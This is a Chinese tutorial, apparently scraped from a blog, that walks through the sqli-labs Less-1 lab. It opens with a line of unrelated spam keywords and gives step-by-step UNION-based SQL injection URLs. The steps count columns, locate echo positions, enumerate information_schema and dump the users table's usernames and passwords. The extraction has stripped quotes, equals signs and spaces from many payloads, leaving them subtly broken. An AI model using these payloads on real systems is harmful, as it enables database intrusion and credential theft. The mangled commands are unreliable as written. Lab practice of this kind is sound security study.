旅游微网站分销,本地最新招聘信息,详情页页面页面,网页版梦幻西游科举答案#x1f9ea; SQL注入入门#xff1a;sqli-labs-master/Less-1靶场实战解析
嘿#xff01;看到你想学习渗透测试#xff0c;这太棒了#xff01;SQL注入是渗透测试的基础技能之一#xff0c;sqli-labs-master的Less-1就是个绝佳的入门靶场。我来给你详细讲解这个靶场的渗… SQL注入入门sqli-labs-master/Less-1靶场实战解析嘿看到你想学习渗透测试这太棒了SQL注入是渗透测试的基础技能之一sqli-labs-master的Less-1就是个绝佳的入门靶场。我来给你详细讲解这个靶场的渗透过程和思路帮你轻松入门 靶场基本情况Less-1是一个字符型SQL注入靶场需要单引号闭合。页面要求我们输入id参数通过SQL注入获取数据库信息。 渗透测试全过程详细步骤1️⃣ 判断注入类型基础判断输入http://localhost/sqli-labs-master/Less-1/?id1✅ 页面正常显示说明参数有效输入http://localhost/sqli-labs-master/Less-1/?id1❌ 报错You have an error in your SQL syntax...单引号未闭合导致语法错误输入http://localhost/sqli-labs-master/Less-1/?id1 --✅ 页面正常显示说明是字符型注入可用--注释掉后面的单引号判断技巧字符型注入需要单引号闭合数字型不需要。字符型注入用数字型用AND 11测试。2️⃣ 确定字段数量关键步骤输入http://localhost/sqli-labs-master/Less-1/?id1 order by 3 --✅ 页面正常说明至少有3列输入http://localhost/sqli-labs-master/Less-1/?id1 order by 4 --❌ 报错Unknown column 4 in order clause说明只有3列为什么用order byorder by可以用来探测字段数量通过逐步增加数字直到报错确定实际列数。3️⃣ 确定回显位置关键位置输入http://localhost/sqli-labs-master/Less-1/?id-1 union select 1,2,3 --✅ 页面显示Your Login name:2 Your Password:3 结论第2列显示username第3列显示password为什么用-1id-1确保原查询无结果这样联合查询的结果才会显示出来。如果用id1原查询有结果联合查询的数据会被忽略。4️⃣ 爆破数据库信息数据库名http://localhost/sqli-labs-master/Less-1/?id-1 union select 1,database(),3 --✅ 结果security数据库名数据库版本http://localhost/sqli-labs-master/Less-1/?id-1 union select 1,version(),3 --✅ 结果10.2.26-MariaDB-log数据库版本当前用户http://localhost/sqli-labs-master/Less-1/?id-1 union select 1,user(),3 --✅ 结果rootlocalhost当前数据库用户5️⃣ 爆破表名从information_schema获取输入http://localhost/sqli-labs-master/Less-1/?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity --✅ 结果emails,referers,uagents,users数据库中的表名关键知识点information_schema是MySQL内置的系统数据库包含所有元数据。6️⃣ 爆破字段名users表的字段输入http://localhost/sqli-labs-master/Less-1/?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schemasecurity and table_nameusers --✅ 结果id,username,passwordusers表的字段名为什么用group_concat因为SQL查询默认返回多行group_concat将结果聚合为一行显示。7️⃣ 爆破数据获取用户名和密码输入http://localhost/sqli-labs-master/Less-1/?id-1 union select 1,group_concat(username,~,password),3 from users --✅ 结果Dumb~Dumb,Angelina~I-kill-you,Dummy~pssword,...所有用户名和密码 核心知识点总结 SQL注入基础字符型注入需要单引号闭合如id1数字型注入不需要单引号如id1 AND 11闭合技巧--MySQL中常用注释符注释掉后面的单引号 SQL注入常用函数函数作用示例database()获取当前数据库名database()version()获取数据库版本version()user()获取当前数据库用户user()group_concat()聚合查询结果为一行group_concat(username, ~, password)SLEEP()使查询暂停用于时间盲注 MySQL系统数据库information_schemaMySQL内置的系统数据库包含所有元数据tables表table_schema数据库名、table_name表名columns表column_name字段名 联合查询技巧union select将两个查询结果合并关键技巧id-1确保原查询无结果让联合查询结果显示字段匹配联合查询的列数必须与原查询匹配 学习建议先理解原理不要只记命令要理解为什么需要order by、union select等动手实践在自己的环境中搭建sqli-labs靶场亲自操作逐步深入Less-1是入门Less-2是数字型注入Less-3是报错注入逐步挑战安全第一只在授权的靶场环境中练习不要尝试攻击他人系统小提醒SQL注入是基础技能但实际渗透中还有更多类型如盲注、时间盲注、宽字节注入等建议先掌握Less-1再挑战其他关卡。 附Less-1靶场完整SQL命令清单-- 判断注入类型?id1 -- (字符型注入) -- 确定字段数 ?id1orderby3-- (3列正常)?id1 order by 4 -- (4列报错) -- 确定回显位置 ?id-1unionselect1,2,3-- (回显位置2、3)-- 爆库名?id-1 union select 1,database(),3 -- -- 爆表名 ?id-1unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schemasecurity---- 爆字段名?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schemasecurity and table_nameusers -- -- 爆数据 ?id-1unionselect1,group_concat(username,~,password),3fromusers--